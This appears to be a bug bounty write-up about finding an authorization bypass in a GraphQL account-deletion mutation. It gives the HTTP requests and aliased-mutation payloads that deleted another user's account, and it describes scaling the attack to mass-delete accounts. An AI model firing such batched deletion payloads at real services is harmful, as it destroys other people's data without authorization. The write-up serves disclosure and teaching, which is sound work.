August 21, 2026
How a “Delete Account” Button Became a $12,500 Nuke for an Entire User Database
When you think about the most dangerous features on a web application, you usually think of file uploads, password resets, or payment…

By T4nv1
3 min read
When you think about the most dangerous features on a web application, you usually think of file uploads, password resets, or payment gateways. But there is one button that developers always rush to build at the very end of a sprint, completely ignoring the security implications: "Delete My Account."
A few months ago, I was testing a private program for a fast-growing B2B analytics dashboard. The platform was solid. Their OAuth integration was flawless, they used robust JWT token validation, and their permission models were tight.
I had spent two days finding absolutely nothing but low-level rate-limiting issues. I was about to move on when I clicked into the user settings and saw that familiar, ominous red button at the bottom of the page: Delete Account.
What started as a routine check for a missing CSRF token ended up exposing a catastrophic GraphQL logic flaw that allowed me to systematically delete every user, workspace, and organization on the platform, earning a $12,500 bounty.
Phase 1: The GraphQL Deletion Query
When I clicked "Delete Account," a confirmation modal popped up. I clicked "Yes, delete everything," intercepted the request in Burp Suite, and dropped the packet so my test account wouldn't actually be destroyed.
The application was using GraphQL. The deletion request looked like this:
GraphQL
POST /graphql HTTP/1.1
Host: api.target-analytics.com
Authorization: Bearer eyJhb...
Content-Type: application/json
{
"query": "mutation { deleteUserAccount(user_id: \"usr_8921a\") { status, message } }"
}POST /graphql HTTP/1.1
Host: api.target-analytics.com
Authorization: Bearer eyJhb...
Content-Type: application/json
{
"query": "mutation { deleteUserAccount(user_id: \"usr_8921a\") { status, message } }"
}The first thing I tested was a classic Insecure Direct Object Reference (IDOR). I created a second test account (usr_9955b) and tried to delete it using the authorization token from my first account (usr_8921a).
GraphQL
{
"query": "mutation { deleteUserAccount(user_id: \"usr_9955b\") { status, message } }"
}{
"query": "mutation { deleteUserAccount(user_id: \"usr_9955b\") { status, message } }"
}The server responded:
{"errors": [{"message": "Unauthorized. You can only delete your own account."}]}
The backend developers had done their homework. The GraphQL resolver was explicitly checking if the user_id provided in the mutation matched the user_id inside my JWT authorization token.
Phase 2: Testing for Array Casting
I decided to test how the GraphQL resolver handled different data types. GraphQL is strongly typed, but the underlying backend engines (like Node.js or Ruby) sometimes handle type coercion poorly if the schema isn't strictly defined.
Instead of passing a string for the user_id, I passed an array containing both my account ID and the victim's account ID.
GraphQL
{
"query": "mutation { deleteUserAccount(user_id: [\"usr_8921a\", \"usr_9955b\"]) { status, message } }"
}{
"query": "mutation { deleteUserAccount(user_id: [\"usr_8921a\", \"usr_9955b\"]) { status, message } }"
}The server threw a 400 Bad Request error:
{"errors": [{"message": "Variable $user_id got invalid value; Expected type ID."}]}
The GraphQL schema was strictly enforcing that user_id had to be a single string (ID type). The array trick failed.
The Twist: The GraphQL "Alias" Loophole
I was stuck. The authorization check was solid, and the type enforcement was strict.
Then I remembered a specific feature of the GraphQL specification: Aliases.
GraphQL allows a client to send multiple queries or mutations in a single HTTP request by using aliases. You can execute the exact same mutation multiple times, back-to-back, in one JSON payload, as long as you give each execution a different alias name.
I crafted a new payload. I included the deletion mutation for my account (which I was authorized to do), but I also included a second aliased mutation for the victim's account:
GraphQL
{
"query": "mutation {
my_account: deleteUserAccount(user_id: \"usr_8921a\") { status }
victim_account: deleteUserAccount(user_id: \"usr_9955b\") { status }
}"
}{
"query": "mutation {
my_account: deleteUserAccount(user_id: \"usr_8921a\") { status }
victim_account: deleteUserAccount(user_id: \"usr_9955b\") { status }
}"
}I hit send. The server paused for about two seconds, and then returned:
JSON
{
"data": {
"my_account": { "status": "success" },
"victim_account": { "status": "success" }
}
}{
"data": {
"my_account": { "status": "success" },
"victim_account": { "status": "success" }
}
}I logged into my second test browser. The victim account was gone.
What just happened?
The backend authorization middleware was fundamentally broken when handling batched GraphQL requests.
When the server received the HTTP request, the middleware extracted the first user_id it found in the query payload (usr_8921a), checked it against my JWT token, and saw that it matched.
Because the first mutation was authorized, the middleware set an internal is_authorized = true flag for the entire HTTP request lifecycle. It then passed the payload to the GraphQL execution engine, which proceeded to execute both mutations using that elevated permission state.
I had found a Batched Mutation Authorization Bypass.
Escalating the Nuke
Because I could use my own account deletion as the "key" to authorize the HTTP request, I could append as many aliased mutations as the server would accept before timing out.
By scripting a payload with 1,000 aliased mutations targeting sequential user IDs, I could wipe out massive chunks of their customer base in a single click, completely bypassing all tenant isolation and authorization checks.
[ Attacker HTTP Request ]
│
▼
[ Auth Middleware ] ──(Checks FIRST mutation only -> Authorized!)
│
▼
[ GraphQL Engine ] ──(Executes ALL aliased mutations)
│
├──> deleteUserAccount(Victim 1)
├──> deleteUserAccount(Victim 2)
└──> deleteUserAccount(Victim N)[ Attacker HTTP Request ]
│
▼
[ Auth Middleware ] ──(Checks FIRST mutation only -> Authorized!)
│
▼
[ GraphQL Engine ] ──(Executes ALL aliased mutations)
│
├──> deleteUserAccount(Victim 1)
├──> deleteUserAccount(Victim 2)
└──> deleteUserAccount(Victim N)Critical Lessons for Bug Hunters
- Always Test GraphQL Aliases: If an application uses GraphQL, never test mutations one at a time. Batch them using aliases to see how the backend handles state and permissions across multiple executions.
- Understand Middleware Blindspots: Middleware often reads the raw JSON body to make quick auth decisions before passing data to the main application logic. If you can format your request so the middleware only sees the "safe" part, you can often smuggle malicious payloads to the backend.
- The "Delete" Button is a Goldmine: Developers rarely unit-test account deletion flows as rigorously as creation or payment flows.